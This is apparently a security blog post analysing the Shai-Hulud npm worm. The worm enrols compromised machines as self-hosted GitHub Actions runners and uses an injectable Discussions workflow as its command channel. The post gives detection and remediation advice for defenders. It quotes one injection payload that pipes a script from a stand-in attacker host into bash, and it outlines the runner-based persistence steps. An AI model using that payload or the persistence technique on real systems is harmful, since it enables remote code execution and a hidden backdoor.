JSTGTECH
← Back to blog

Shai-Hulud Turns Your Own Laptop Into a GitHub Actions Runner

3 min read

Most CI/CD supply-chain posts are about a tag or a package getting tampered with upstream. Shai-Hulud is different: once it lands on a developer’s machine, it doesn’t just steal secrets and move on — it enrolls that machine into GitHub Actions as a self-hosted runner it controls, then leaves a standing command channel behind. First seen November 24, 2025 and back with a more aggressive second wave in 2026, the worm has hit an estimated 600–800 npm packages and over 25,000 GitHub repositories, including libraries from Zapier, PostHog, Postman, and ENS Domains (Netskope). The self-hosted-runner trick is the part worth studying, because it doesn’t depend on any single compromised package — it’s a reusable persistence technique any attacker with code execution on your machine can borrow.

Root cause

The initial foothold is ordinary npm supply-chain compromise: a trojanized package’s install script runs on the developer’s or CI machine and harvests whatever tokens and cloud credentials it finds. What Shai-Hulud does next is the interesting escalation. It calls the GitHub API for a runner registration token (/repos/{owner}/{repo}/actions/runners/registration-token), downloads the official actions/runner binary, and installs it in a hidden directory (~/.dev-env) named SHA1HULUD (Sysdig). It sets RUNNER_ALLOW_RUNASROOT=1 to bypass the runner’s normal guardrail against running as root, and launches it with nohup ... & so it survives the terminal session that spawned it — a reboot-tolerant backdoor, running as a “legitimate” GitHub Actions component.

The command channel is the cleverest part. The malware creates a public repository, enables GitHub Discussions, and drops a deliberately vulnerable workflow (.github/workflows/discussion.yaml) that’s scoped to run only on self-hosted runners and interpolates the body of a discussion comment directly into a shell step. Posting a comment with a payload like "" && curl -s http://attacker.com/shell.sh | bash breaks out of the intended string context and executes on the compromised machine (Sysdig). Every bit of that traffic — registration, job polling, discussion reads — goes to github.com over HTTPS, which is precisely why network egress monitoring doesn’t catch it: nothing about the connection is anomalous, only its purpose is. It’s the same class of mistake as GitHub-hosted pull_request_target injection bugs, just aimed at infrastructure instead of a workflow run.

Blast radius

A GitHub-hosted runner is ephemeral by design — it’s torn down after the job finishes, so even a compromised workflow only buys an attacker one job’s worth of access. A self-hosted runner is the opposite of that by definition: it’s a real, persistent machine, frequently with whatever internal network access, SSH keys, and long-lived cloud credentials a developer’s laptop or a build server normally carries. Registering one as a “runner” doesn’t require any new exploit — it’s a documented, intended GitHub feature, so nothing about the registration call itself is malicious-looking to a security tool watching for exploitation. The worm’s own C2 design is also a control-flow inversion worth noticing: instead of beaconing out to attacker infrastructure that a firewall rule could block, the compromised machine polls GitHub for instructions, so the attacker doesn’t need inbound access to the victim at all, and detection has to happen inside GitHub’s audit trail rather than at the network edge.

Remediation

The single highest-leverage control is scope: never attach self-hosted runners to public repositories, and where they’re unavoidable, put them behind required approval for workflow runs from outside collaborators — a public repo with a self-hosted runner is an invitation to register competing runners or hijack workflow triggers. Prefer ephemeral, single-job self-hosted runners (GitHub’s --ephemeral flag or an autoscaling runner controller) over long-lived ones specifically so a compromised runner doesn’t outlive one job. Treat RUNNER_ALLOW_RUNASROOT=1 and a non-zero RUNNER_TRACKING_ID override as a detection signal, not a config quirk — Sysdig calls RUNNER_TRACKING_ID=0 “a reliable indicator of malicious intent” because it disables the runner’s own process cleanup (Sysdig). Audit your runner inventory — via the API or the Settings → Actions → Runners panel — for names, directories, or registration times you don’t recognize, and pull GitHub audit log events for repo.register_self_hosted_runner rather than assuming you’d notice a rogue entry by eye. And apply ordinary workflow-injection hygiene to any trigger that accepts free-text input — issue titles, PR bodies, discussion comments — by passing it through an environment variable instead of interpolating it directly into a run: step, the same fix that closes pull_request_target injection bugs.

This site’s own CI runs entirely on GitHub-hosted runners for exactly this reason: ephemeral compute has no persistence for a worm like this to exploit in the first place. If you’ve adopted self-hosted runners for cost or network-access reasons, the question worth asking isn’t whether your workflows are safe — it’s whether the runner itself would survive being compromised for zero net cost to the attacker.

Related posts